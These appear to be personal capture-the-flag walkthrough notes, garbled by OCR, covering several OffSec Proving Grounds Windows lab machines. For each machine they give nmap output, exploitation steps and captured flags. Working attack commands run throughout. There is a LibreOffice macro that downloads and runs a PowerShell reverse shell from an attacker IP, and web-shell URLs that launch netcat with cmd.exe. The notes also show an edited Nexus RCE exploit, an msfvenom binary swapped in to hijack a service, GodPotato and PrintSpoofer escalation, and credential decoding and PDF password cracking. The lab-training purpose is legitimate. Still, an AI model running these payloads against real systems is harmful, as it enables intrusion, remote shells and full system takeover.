21/tcp open ftp FileZilla ftpd

| ftp-syst:

|_ SYST: UNIX emulated by FileZilla

22/tcp open ssh OpenSSH for_Windows_8.1 (protocol 2.0)

| ssh-hostkey:

| 3072 86:84:fd:d5:43:27:05:cf:a7:f2:€9:e2:75:70:d5:f3 (RSA)

| 256 9¢:93:cf:48:a9:4e:70:f4:60:de:el:a9:c2:c0:b6:ff (ECDSA)

| 256 00:4e:d7:3b:0f:9f:e3:74:4d:04:99:0b:b1:8b:de:a5 (ED25519)

80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPNP)
|_http-title: Site doesn't have a title.
135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?

3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2024-06-24T10:47:14+00:00; Os from scanner time.
| rdp-ntim-info:

| Target_Name: NICKEL

| NetBIOS_Domain_Name: NICKEL

| NetBIOS_Computer_Name: NICKEL

| DNS_Domain_Name: nickel

| DNS_Computer_Name: nickel

| Product_Version: 10.0.18362

|_ System_Time: 2024-06-24T10:46:09+00:00

| ssl-cert: Subject: commonName=nickel

| Not valid before: 2024-03-22T08:59:47

|_Not valid after: 2024-09-21T08:59:47

5040/tcp open unknown

7680/tcp open pando-pub?

8089/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0

|_http-title: Site doesn't have a title.

33333/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0

|_http-title: Site doesn't have a title.

49664 /tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
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Web Service Enumeration:
[+ Nikto]

[+ Fuzzing]

### LAB Steps:
— There are multiple webapps !!
port : 80

http://192.168.200.99

<« C @ O A 192.168.200.99

Kali Linux Exploit-DB Google Hacking DB OffSec @ OSCP | Just for simplic... GTFOBins Full TTYs | Ha

dev-api started at 2024-03-23T01:59:57

port : 33333

http://192.168.200.99:33333

. C @

Kali Linux Exploit-DB Google Hacking DB OffSec @ OSCH

Invalid Token

you can see nothing !!

port : 8089
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http://192.168.200.99/
http://192.168.200.99:33333/

http://192.168.200.99:8089

< > C @ O & 192.168.200.99:8089

Kali Linux Exploit-DB Google Hacking DB OffSec @ OSCP | Just for simplic... GTFOBins

DevOps Dashboard

List Current Deployments

List Running Processes |

List Active Nodes |

Click on List Running Process !!!

it is redirecting to :— http://169.254.44.128:33333/list-running-procs?

Let's replace the 169.254.44.128 t0 192.168.200.99

$ curl http://192.168.200.99:33333/list-running-procs --proxy 127.0.0.1:8080

Request Response
Pretty Raw  Hex R H W0 = | Pretty Raw Hex

1 GET /list-running-procs HTTP/1.1 1 HTTP/1.1 200 OK
2 Host: 192.168 333 2 Content-Length: 3C
User-Agent: cL 0 3 |Server: Micre

Accept: */+ 4 Date: Mon, 24 Jun 2024 13:02:11 GMT
Connection: keep-alive 5

6 | <p>
Cannot "GET" /list-running-procs
</p>
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http://192.168.200.99:8089/
http://169.254.44.128:33333/list-running-procs?
http://192.168.200.99:33333/list-running-procs

You can see we need to chnage the method !!

GET to POST

Request Response

Pretty Raw Hex = Pretty Raw Hex

POST /llbt—runnlng procs HTTP/1.1 HTTP/1.1 200 OK

Host: 192 33 2 Content - L@n :

User-Agent 8 ] v

Accept: */

Connection

ontent -Type: L on/ X (-form-urlencoc

Content -Length:
name : System Idle Proc
commandline :

name -
commandline :

name z
commandline :

You can see we got some data leak !!

we also found one user credentials in encrypted form !!

.

53 name
54 commandline > C:\window s \Wwork\dev.yaml --user ariah -p
55 | “Tm93axN 5 KXM

ariah : Tm93aXNIU2xvb3BUaGVvcnkxMzkK [base64 we need to decode]

$ echo "Tm93aXNIU2xvb3BUaGVvcnkxMzkK" | base64 -d

/'pg/Win/Nickel

we got the password !!

Now let's try to authenticate via SSH !!

# ssh ariah@192.168.200.99
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ariah@NICKEL C:\Users\ariah>whoami
nickel\ariah

ariah@NICKEL C:\Users\ariah>hostname
nickel

ariah@NICKEL C:\Users\ariah>type \Desktop\local.txt
The system cannot find the path specified.

ariah@NICKEL C:\Users\ariah>cd Desktop

ariah@NICKEL C:\Users\ariah\Desktop>type local.txt
bd6a3d3c9295d5965050898de6d2a8a8

ariah@NICKEL C:\Users\ariah\Desktop>ipconfig

Windows IP Configuration

Ethernet adapter EthernetO:

Connection-specific DNS Suffix . :

IPv4 Address. . . . . . . . . . . : 192.168.200.99
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.200.254

we got access and we also got the local.txt !!

PrivEsc:

Tried to Run the winpeas but no luck !!

some manual process !!

Started with searching for extenstions !!

ariah@NICKEL C:\Users>dir /s/b \ *.pdf

there is one intresting PDF file !!

ariah@NICKEL C:\ftp>net use m: \\192.168.45.225\test /user:kali kali

ariah@NICKEL C:\ftp>copy Infrastructure.pdf m:\
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another method !!

we can also authenticate to ftp via smae credentials and get the pdf !!

Escalation

Logging into the FTP server as ariah (or navigating to the C:|ftp directory from the SSH shell), we find an Infrastructure.pdf file. Let's use FTP to download the file making sure we also set the binary mode.

kali@kali tmp$ ftp 192.168.120.209

astructure.pdf

cessfully transferred "/Infra

However, the Infrastructure.pdf file is password protected. Let's try to extract the password hash from the PDF with John the Ripper's pdf2john.p1l utility.

but this PDF is password protected !!

Enter password

Password required

The document “Infrastructure.pdf” is locked and requires a password before it can be opened.

Password: |

® Forget password immediately

Remember password until you log out

Remember forever

@® Cancel

we can make use of the pdf2john and crack the hash using john tool
we can also use pdfcrack extensively for pdf password cracking !!

# pdfcrack Infrastructure.pdf /usr/share/wordlists/rockyou.txt
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—(re ul@l ali)-[/home/../offsec/pg/Win/Nickel]

L Infrastructure.pdf /usr/share/wordlists/rockyou.txt
PDF version 1.7

Security Handler: Standard

V: 2

R: 3

P: -1060

Length: 128

Encrypted Metadata: True

FileID: 14350d814f7c974db9234e3e719e360b

U: 6aala24681b93038947176796470dbb10000000000O00O000O0CO00O0OCO0O00COCO00
0: d9363dc6lac080ac4b9dad4f036888567a2d468a6703faf6216afleb307921b0
Average Speed: 68902.8 w/s. Current Word: 'preaw2529'

Average Speed: 69284.8 w/s. Current Word: 'whitewolfmoon

Average Speed: 68242.8 w/s. Current Word: 'rudeboide’

Average Speed: 63993.5 w/s. Current Word: 'mondiudo’

Average Speed: 69857.6 w/s. Current Word: 'justforlarry'

Average Speed: 68724.4 w/s. Current Word: 'farm93’

Average Speed: 68813.5 w/s. Current Word: 'bndl985'

found user-password: 'GlgELEIGE "

We got the password !!

Infrastructure Notes

Temporary Command endpoint: http://nickel/?

Backup system: http://nickel-backup/backup

NAS: http://corp-nas/files

there is a command execution endpoint on port 80 !! lol !!

http://192.168.200.99/?whoami
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http://192.168.200.99/?whoami

&« - C @ O A 192.168.200.99/?whoami

Kali Linux Exploit-DB Google Hacking DB OffSec @ OSCP | Just for s

dev-ap1 started at 2024-03-

nt authority\system

we are nt authority\system lol !!

let's get the revser shell using powershell base64 payload !!

—(root@kali)-[/home/../offsec/pg/Win/Nickel]

# rlwrap nc 443

listening on [any] 443

connect to [192.168.45.225] from (UNKNOWN) [192.168.200.99] 49799

PS C:\Windows\system32> whoami

nt authority\system

PS C:\Windows\system32> hostname

nickel

PS C:\Windows\system32> cd C:\Users\Administrator\Desktop
PS C:\Users\Administrator\Desktop> type proof.txt
0921b5be433794c9efff40088e035b82

PS C:\Users\Administrator\Desktop> ipconfig

Windows IP Configuration

Ethernet adapter EthernetO:

Connection-specific DNS Suffix . :

IPv4 Address. . . . . . . . . . . : 192.168.200.99

Subnet Mask . . . . . . . . . . . : 255.255.255.0

Default Gateway . . . . . : 192.168.200.254
PS C: \U%er%\Admlnlﬁttator\DeQKto; ]

we got the proof.txt also !!
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Craft

Brief:

OS: Windows
Web-Technologies:
IP:

Users:

Credentials:

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
|_http-title: Craft

|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7

Web Service Enumeration:
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[+ Nikto]

[+ Fuzzing]

### LAB Steps:

— This is very stright box there is only one port running that is port 80 web service !!
— where we need to upload resume !!

— tried uploading some php files but the result showes !!

< C @ O & 192.168.200.169/upload.php

Kali Linux Exploit-DB Google Hacking DB OffSec @ OSCP | Just for simplic... GTFOBins

File is not valid. Please submit ODT file

Only .odt file's are allowed !!
we need to install libra-office to do this attack !!

and we need to make use of macro and get the intial access !!

— Open a file offsecexam.odt and create a macro !!

offsecexam.odt.Standard — LibreOffice Basic

Ele Edit View Run Dilog Tools Window Help

S e - 0 )
[offsecexam.odt].Standard e YA @ 3| e ble
Object Catalog 1=
¥ MyMacros & Dialogs 2
3[Sub Main
4
5[shell ("cmd /c powershell IEX(IWR http://192.168.45.225/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 192.168.45.225 443")
6.
7
8JEnd Sub
9

The code :
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Sub Main

Shell ("cmd /c powershell IEX(IWR http://192.168.45.225/Invoke-ConPtyShell.ps1 -
UseBasicParsing); Invoke-ConPtyShell 192.168.45.225 443")

End Sub

before uploading we need to do one thing !!

Tools —» Cutomize — Events — Click on Open Document and add Macro and save it

Customize

Menus | Toolbars | Notebookbar | Context Menus | Keyboard  Events

Event | IAssigned Action
Start Application

Close Application

Document created

New Document

Document loading finished
Document is going to be closed
Document closed

View created

View is going to be closed

View closed

Activate Document

Deactivate Document

Save Document

Document has been saved

Saving of document failed

Save Document As

Document has beensaved as

'Save as' hasfailed

Storing or exporting copy of document

Savein: |offsecexam.odt
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http://192.168.45.225/Invoke-ConPtyShell.ps1

Start Application - Macro...
Close Application =
Document created

New Document

Document loading finished

Document is going to be closed

Document closed
View created
View is going to be clo
View closed
Activate Document Select the library that contains the macro you want. Then select the macro under 'Macro
Deactivate Documentll name’.

Save Document
Document hasbeensal  Library Macro Name

Saving of document f .
< NP MyMacros

Save Document As ...
Application Macros
Document has been sa ,
¥ == offsecexam.odt

'Save as' has failed L v Standard
Storing or exporting ¢ - .
R & offsecoam

Saveim: |offsecexam

Macro Selector

Upload the file and host Invoke-ConPtyShell.ps1 on port 80 and listen on port 443
# stty raw -echo; (stty size; cat) | nc -lvhp 443

we got access as thecybergeek user

PS C:\Users> cd thecybergeek
PS C:\Users\thecybergeek\Desktop> dir

Directory: C:\Users\thecybergeek\Desktop

Mode LastWriteTime Length Name

-a---- 6/24/2024 6:43 AM 34 local.txt
Windows IP Configuration

Ethernet adapter Ethernet0® 2:

Connection-specific DNS Suffix . :

Link-local IPv6 Address . . . . . : fe80::d48a:9394:a9%9ac:5234%5
PS C:\Users\thecybergeek\Desktop> whoami
craft\thecybergeek
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we got the local.txt !!
ther eis another user called apache

but we are unable to access !!

PS C:\Users> cd apache

PS C:\Users\apache> dir

dir : Access to the path 'C:\Users\apache' 1is denied.
At line:1 char:1

_+_ — — —~
+ CategoryInfo . PermissionDenied: (C:\Users\apache

+ FullyQualifiedErrorId : DirUnauthorizedAccessError,Microso

— Tried some PrivEsc techniques but failed !!
— There is a Xampp Server is running so let's try to upload any web shell and see whether
we can access to apache user !!

PS C:\xampp\htdocs> iwr -uri http://192.168.45.225 /simple-backdoor.php -OutFile
simple-backdoor.php

execute on web :

http: / /craft.offsec/simple-backdoor.php?cmd=cmd /c powershell IEX(IWR http://
192.168.45.225/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell
192.168.45.225 443

got the apache user access !!

Windows PowerShell
Copyright (C) Microsoft Corporation.

craft\apache
PS C:\xampp\htdocs> hostname

PrivEsc:
There is SeImpersonate Privilege User enabled !!
let's upload printspoofer and get the system access !!

PS C:\xampp\htdocs> iwr -uri http://192.168.45.225 /PrintSpoofer64.exe -OutFile
PrintSpoofer64.exe
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http://192.168.45.225/simple-backdoor.php
http://craft.offsec/simple-backdoor.php?cmd=cmd
http://192.168.45.225/Invoke-ConPtyShell.ps1
http://192.168.45.225/Invoke-ConPtyShell.ps1
http://192.168.45.225/PrintSpoofer64.exe

PS C:\xampp\htdocs> .\PrintSpoofer64.exe -i -c powershell.exe

PS C:\xampp\htdocs> .\PrintSpoofer64.exe powershell.exe
[+] Found privilege: SelImpersonatePrivilege

[+] Named pipe listening...

[+] CreateProcessAsUser() OK

Windows PowerShell

Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami

nt authority\system

PS C:\Windows\system32> hostname

CRAFT

PS C:\Windows\system32> type C:\Users\Administrator\Desktop\proof.txt
f55bc70675b7063ad41277bf1972fbbe

PS C:\Windows\system32> ipconfig

Windows IP Configuration

Ethernet adapter Ethernet0 2:

Connection-specific DNS Suffix
Link-local IPv6 Address . . . . . : fe80::d48a:9394:a9ac:5234%5
IPv4 Address. . . . . . . . . . . : 192.168.200.169
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.200.254
PS C:\Windows\system32> |}

got administrator accessmand proof.txt !!

Billyboss

Brief:

0OS: Windows

Web-Technologies:
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IP:

Users:

Credentials:

NMAP Results:

PORT STATE SERVICE VERSION

21/tcp open ftp Microsoft ftpd

| ftp-syst:

|_ SYST: Windows_NT

80/tcp open http Microsoft IIS httpd 10.0

| _http-cors: HEAD GET POST PUT DELETE TRACE OPTIONS CONNECT PATCH
|_http-title: BaGet

|_http-server-header: Microsoft-11S/10.0

135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?

5040/tcp open unknown

8081/tcp open http Jetty 9.4.18.v20190429

| http-robots.txt: 2 disallowed entries

|_/repository/ /service/

|_http-server-header: Nexus/3.21.0-05 (OSS)
|_http-title: Nexus Repository Manager

49664 /tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows

RPC

49667/tcp open msrpc Microsoft Windows

RPC

49668/tcp open msrpc Microsoft Windows
RPC

49669/tcp open msrpc Microsoft Windows RPC
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Web Service Enumeration:
[+ Nikto]

[+ Fuzzing]

### LAB Steps:

— There are port 80 and port 8081 runnning the webservers !!
— port 80 is worst we cannot get anything !!

port 8081 running in the Sonatype Nexus repositoy Manager !! there is login !!
Tried some default credential not worked !! at last

nexus : nexus — Worked !!

there is an authenticated rce Exploit !!

$ searchsploit -m 49385

14 # execute code on the
#! /usr/bin/python3

sys
base64
requests

23 CMD="|cmd . e w 2 X(IWR http://192.168.45.225/Invoke-ConPtyShell.psl -UseBasicParsing); Invoke-ConPtyShell 192.168.45.22
24 USERNAME="nexus "'
25 PASSWORD="nexus '
26
27 s = requests.Session()
('Logging in')

'username': base64.b64encode(USERNAME.encode('utf-8')).decode( 'utf-8'),
'password': base64.b64encode(PASSWORD.encode( 'utf-8')).decode( 'utf-8')

33r = s.post(URL + '/service/rapture/session’,data=body)
34 r.status_code #

you can see we edited the username , password and cmd and URL !!

$ python3 49385.py
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® ~/offsec/pg/Win/Billyboss
python3 49385.py

Logging 1n
Logged 1in successfully
Command executed

We got the shell !!

PS C:\Users\nathan\Desktop> type local.txt
6d3933bad26e9e8c3b9674467000eb9%e
PS C:\Users\nathan\Desktop> whoamili

got local.txt !!

PrivEsc:

PS C:\Users\nathan\temp> whoami /priv

PRIVILEGES INFORMATION

Description

SeShutdownPrivilege Shut down the system
SeChangeNotifyPrivilege Bypass traverse checking
SeUndockPrivilege Remove computer from docking station
Impersonate a client after authentication
SeCreateGlobalPrivilege Create global objects
SeIncreaseWorkingSetPrivilege

SeTimeZonePrivilege Change the time zone

tried printspoofer but failed but the godpotato worked !!

PS C:\Users\nathan\temp> .\GodPotato.exe -cmd "cmd /c C:
\Users\nathan\temp\nc.exe 192.168.45.225 443 -e cmd.exe"
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HookRPC
rt Pi ‘
~ateNamedPipe \\.\ , 5d61-4d06-929d-e7065dbfe565\pipe\epmapper
~1gger RPCSS
DCOM obj GUID: ¢ )00-0000-0000-cO00-000000000046
DCOM obj IPID: © o[ 8 9fb8-1dff5baeld7b
DCOM obj OXID: a8ec7b577f7b50
obj 0ID: 751946¢c17e6c5796
obj Flag 1
M obj PublicRefs:
-shal Object bytes len: 100
arshal Object
Pipe Connected!
CurrentU NT AUTHORITY\NETWORK SERVICE
onationLevel: Impersonation
tem Token
X764 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
Find : S
Unma

we got the administrator shell !!
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—(root@kali)-[/home/../offsec/pg/Win/Billyboss]
# rlwrap nc 443

listening on [any] 443
connect to [192.168.45.225] from (UNKNOWN) [192.168.200.61] 50096

Microsoft Windows [Version 10.0.18362.719]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami

C:\Windows\system32>hostname
NS
billyboss

C:\Windows\system32>type C:\Users\Administrator\Desktop\proof.txt
type C:\Users\Administrator\Desktop\proof.txt
86d7771el5c56fd156a61b69cf6le7ed

C:\Windows\system32>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter EthernetO:

Connection-specific DNS Suffix . :

IPv4 Address. . . . . . . . . . . : 192.168.200.61
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.200.254

got proof.txt

Medjed

Brief:

OS: Windows
Web-Technologies:

IP:
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Credentials:

NMAP Results:
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?

3306/tcp open mysql?

| fingerprint-strings:

| DNSVersionBindReqTCP, NULL, SIPOptions:

| Host'192.168.45.225" is not allowed to connect to this MariaDB server
5040/tcp open unknown

7680/tcp open pando-pub?

8000/tcp open http-alt BarracudaServer.com (Windows)

| http-open-proxy: Potentially OPEN proxy.

|_Methods supported:CONNECTION

|_http-title: Home

|_http-server-header: BarracudaServer.com (Windows)

| <html><body><h1>400 Bad Request</h1>Can't parse
request<p>BarracudaServer.com (Windows)</p></body></htmI>
| http-webdav-scan:

| Server Date: Tue, 25 Jun 2024 14:27:54 GMT

| WebDAV type: Unknown

| Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, PUT, COPY, DELETE, MOVE, MKCOL,
PROPFIND, PROPPATCH, LOCK, UNLOCK

|_ Server Type: BarracudaServer.com (Windows)

30021 /tcp open ftp FileZilla ftpd 0.9.41 beta

| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -r--r--r-- 1 ftp ftp 536 Nov 03 2020 .gitignore

| drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 app

| drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 bin

| drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 config

| -r--r--r-- 1 ftp ftp 130 Nov 03 2020 config.ru

| drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 db

| -r--r--r-- 1 ftp ftp 1750 Nov 03 2020 Gemfile

| drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 lib
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| drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 log

| -r--r--r-- 1 ftp ftp 66 Nov 03 2020 package.json
| drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 public

| -r--r--r-- 1 ftp ftp 227 Nov 03 2020 Rakefile

| -r--r--r-- 1 ftp ftp 374 Nov 03 2020 README.md
| drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 test

| drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 tmp
|_drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 vendor

| ftp-syst:

|_ SYST: UNIX emulated by FileZilla

|_ftp-bounce: bounce working!

33033/tcp open unknown

| fingerprint-strings:

| GenericLines:

| HTTP/1.1 400 Bad Request

| GetRequest, HTTPOptions:

|_  bord

44330/tcp open ssl/unknown

|_ssl-date: 2024-06-25T14:28:23+00:00; Os from scanner time.

| ssl-cert: Subject: commonName=server demo 1024 bits/organizationName=Real Time
Logic/stateOrProvinceName=CA/countryName=US

| Not valid before: 2009-08-27T14:40:47

|_Not valid after: 2019-08-25T14:40:47

45332/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.3.23)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.3.23

| http-methods:

|_ Potentially risky methods: TRACE

|_http-title: Quiz App

45443 /tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.3.23)
| http-methods:

|_ Potentially risky methods: TRACE

|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.3.23

|_http-title: Quiz App

49664 /tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC

Web Service Enumeration:
[+ Nikto]

[+ Fuzzing]
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### LAB Steps:

— Started with the port 8000 port webservice !!

Cc A Notsecure 192.168.246

Home Page Web-File-Server

Links Website Builder

Home

The BarracudaDrive website builder, which includes a Content Management System (CMS)
and blog, makes it easy to create and update your own website. It's perfect for anyone from

Photos first-timers to advanced web designers. You don'’t need to install any additional software on
Contact Us your computer, and you can use the website builder from any computer anywhere in the world
that has internet access at any time.

test

Private Page

Blog This page and everything you see on this page was created by using the website builder. You
can create a professional looking website in minutes. Advanced web designers can add their
oaded Applications own effects by directly modifying the HTML.

. Important website builder Links:
orum

firstly searched for any authenticated RCE's

http://192.168.246.127:8000/rtl/about.ls
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http://192.168.246.127:8000/rtl/about.lsp

BarracudaDrive 6.5

BarracudaDrive is free for non-
commercial use. A business license is

required if using BarracudaDrive for any
commercial use. See the purchase page
for more information.

BarracudaDrive is powered by:

e Barracuda Embedded Web Server
e SharkSSL Embedded SSL Stack
e Lua Server Pages

you can see the version !!

http://192.168.246.127:8000/Config-Wizard/wizard/SetAdmin.Isp
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http://192.168.246.127:8000/Config-Wizard/wizard/SetAdmin.lsp

it askes you to create a account first I have created an account with admin : admin123
creds !!

Now navigate to http://192.168.246.127:8000/private/manage/ this and login with that
credentials !!

we got access !!

You can see the Web file server

FOBins Full TTYs | HackTricks |... @ Online - Reverse Shell ... @ Hash Type Identifier - 1... & URL Decof

Home Page Web-File-Server

Web File Server

(Web-File-Manager and WebDAYV links)

You can see we ahve some /fs directory read and write accesss !!

Click one of the links shown in the table below to access the Web File Manager (2):

File Server Links Access Rights

‘ /is/ ‘ read - write

Click on C\
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http://192.168.246.127:8000/private/manage/

< > C @ O A 192.168.246.127:8000/fs/

Kali Linux Exploit-DB Google Hacking DB OffSec @ OSCP | Just for simplic..

C+OHOQA0O H

Path: Directory:

A Name

and you are now able to access the C:\ Directory !!

Note : I have tried to upload the reverse shell and open on new tab but I have failed !!

109/127



« > C o O A& 192.168.246.127:8000/fs/C/

Kali Linux Exploit-DB Google Hacking DB OffSec @ OSCP | Just for simplic... GTFOBins Full TTYs | HackTricks |... @@ Online
C+HTOTIQAO
Path: top / Directory: C

A

$Recycle.Bin |
$WinREAgent )
bd =
Documents and Settings -
DumpStack.log.tmp 8192
FTP =
output.txt 2697
pagefile.sys 73819
PerfLogs =
Program Files -
Program Files (x86) -
ProgramData =
Railsinstaller =
Recovery -
Ruby26-x64 =
Sites -
\

you can see the Xampp directory !!

and navigate to htdocs
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&« C @ O A& 192.168.246.127:8000/fs/C/xampp/htdocs/

Kali Linux Exploit-DB Google Hacking DB OffSec @ OSCP | Just for simplic... GTFOBins Full TTYs | HackT
Path: top / C / xampp / Directory: htdocs

A Name

index.html 887

phpinfo.php 21

script.js 3023

styles.css 1266

http://192.168.246.127:8000/fs/C/xampp/htdocs/

You can see the phpinfo.php

— We ahve some more http servers running let's check which http server has phpinfo.php
— Got one hit !

| to use the Scan Management Menu™

91 30w 308c Auto-filtering found -like response and cr
91 33w 305c Auto- fllterlng found -like ‘esponse and cr
1121 279w 3023c http:/ 2.168.246.127:4533. ' S

851 149w 266c http://192.168.246.127:45:
281 63w 887¢ http://192.168.246.127:45:

281 63w 887 hm //192.168,246.127:45332/index. htnl
10651 5641w 90784c
851 149w 56 hﬁp //192.168.246.127:45332/5tyles.. css

281 387¢ http://192.168.246.127:45332/ Index.

http://192.168.246.127:45332 /phpinfo.ph
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http://192.168.246.127:8000/fs/C/xampp/htdocs/
http://192.168.246.127:45332/phpinfo.php

C

@ O A 192.168.246.127:45332/phpinfo.php

Exploit-DB Google Hacking DB

OffSec @ OSCP | Just for simplic...

GTFOBins Full TTYs | HackTricks |... @ Online - Reverse Shell... @ Ha

PHP Version 7.3.23

System Windows NT MEDJED 10.0 build 19042 (Win
Build Date Sep 29 2020 11:09:36

Compiler MSVC15 (Visual C++ 2017)

Architecture x64

Configure Command

cscript /nologo /e:jscript configure.js "--enat
oci=c:\php-snap-build\deps_aux\oracle\x64'
snap-build\deps_aux\oracle\x64\instantclier
enable-com-dotnet=shared" "--without-anal

Server API

Apache 2.0 Handler

Virtual Directory Support

enabled

So if we upload any reverse shell php file it will be executed successfully !!

upload simple-backdoor.php

http://192.168.246.127:45332/simple-backdoor.php?cmd=whoami

upload nc64.exe

http://192.168.246.127:45332 /simple-backdoor.php?

cmd=nc64.exe%20192.168.45.225%20443%20-e%20cmd.exe

got reverse shell

—(root@kali)-[/home/../offsec/pg/Win/Medjed]
L# rlwrap -cf

listening on [any] 443

connect to [192.168.45.225]

nc

Microsoft Windows

443

from (UNKNOWN) [192.168.246.1

[Version 10.0.19042.1387]

(c) Microsoft Corporation. ALl rights reserved.

C:\xampp\htdocs>whoami

who
med

ami
led\jerren
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http://192.168.246.127:45332/simple-backdoor.php?cmd=whoami
http://192.168.246.127:45332/simple-backdoor.php?cmd=nc64.exe%20192.168.45.225%20443%20-e%20cmd.exe
http://192.168.246.127:45332/simple-backdoor.php?cmd=nc64.exe%20192.168.45.225%20443%20-e%20cmd.exe

got intial access !!

got local.txt
we ahve local privesc exploit !!

PrivEsc: [BarracudaDrive 6.5]

BarracudaDrive 6.5

BarracudaDrive is free for non-
commercial use. A business license is

required if using BarracudaDrive for any
commercial use. See the purchase page
for more information.

BarracudaDrive is powered by:

» Barracuda Embedded Web Server
» SharkSSL Embedded SSL Stack
» Lua Server Pages
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~/offsec/pg/Win/Medjed
BarracudaDrive 6.5

Shellcodes: No Results

BarracudaDrive v6.5 - Insecure Folder Permissions — windows/local/48789.txt

In that exploit code they have clearly mentioned how to exploit and I have exploitted in my
way !l

PS C:\bd> icacls C:\bd

PS C:\bd> icacls C:\bd

icacls C:\bd

C:\bd BUILTIN\Administrators:(I)(0I)(CI)(F)
NT AUTHORITY\SYSTEM: (I)(OI)(CI)(F)

ENHRFINEETR: (1) (0I) (CI) (RX)

NT AUTHORITY\Authenticated Users:(I) (M)
NT AUTHORITY\Authenticated Users:(I)(0I)(CI)(IO0) (M)

You can see we have access to that folder !!

PS C:\bd> cmd.exe /c sc qc bd
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PS C:\bd> cmd.exe /c sc qc bd
cmd.exe /c sc qc bd
[SC] QueryServiceConfig SUCCESS

SERVICE NAME: bd
TYPE : 10 WIN32 OWN PROCESS
START TYPE : 2 AUTO START
ERROR CONTROL =l NORMAL
BINARY PATH NAME : "C:\bd\bd.exe"
LOAD ORDER GROUP .
TAG 0
DISPLAY NAME : BarracudaDrive ( bd ) service
DEPENDENCIES . Tcpip

SERVICE START NAME : [NeIez18\Ajd=

we need to restart to get the restart this service !!
first chnage the bd.exe file to bd-original.exe
C:\bd>move bd.exe bd-original.exe

now there is no bd.exe in that folder so upload our malicious binary with the bd.exe name
and place in that folder and shutdown the system !!

# msfvenom -p windows/x64 /shell_reverse_tcp LHOST=192.168.45.225
LPORT=8989 -f exe > bd.exe

C:\bd>move C:\Users\Jerren\bd.exe .

C:\bd>shutdown /r

C:\bd>move C:\Users\Jerren\bd.exe
move C:\Users\Jerren\bd.exe
1 file(s) moved.

C:\bd>shutdown /r
shutdown /r

after some time we got the system level access !!
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—(root@kali)-[/home/../offsec/pg/Win/Medjed]

# rlwrap nc 8989

listening on [any] 8989

connect to [192.168.45.225] from (UNKNOWN) [192.168.246.127] 49668
Microsoft Windows [Version 10.0.19042.1387]

(c) Microsoft Corporation. ALl rights reserved.

C:\WINDOWS\system32>whoami
whoamil
nt authority\system

C:\WINDOWS\system32>type C:\Users\Administrator\Desktop\proof.txt
type C:\Users\Administrator\Desktop\proof.txt
1le17c3ad791374bb649f67b34854¢c149

C:\WINDOWS\system32>1ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter EthernetO:

Connection-specific DNS Suffix

IPv4 Address. . . . . . . . . . . : 192.168.246.127
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.246.254

C:\WINDOWS\system32>hostname
hostname
medijed

got proof.txt
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Slort

Brief:

OS: Windows
Web-Technologies:
IP:

Users:

Credentials:

NMAP Results:

PORT STATE SERVICE VERSION

21/tcp open ftp FileZilla ftpd 0.9.41 beta
| ftp-syst:

|_ SYST: UNIX emulated by FileZilla

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds?

3306/tcp open mysql?

| fingerprint-strings:

| DNSVersionBindReqTCP, NULL, RTSPRequest:

|~ Host'192.168.45.225" is not allowed to connect to this MariaDB server

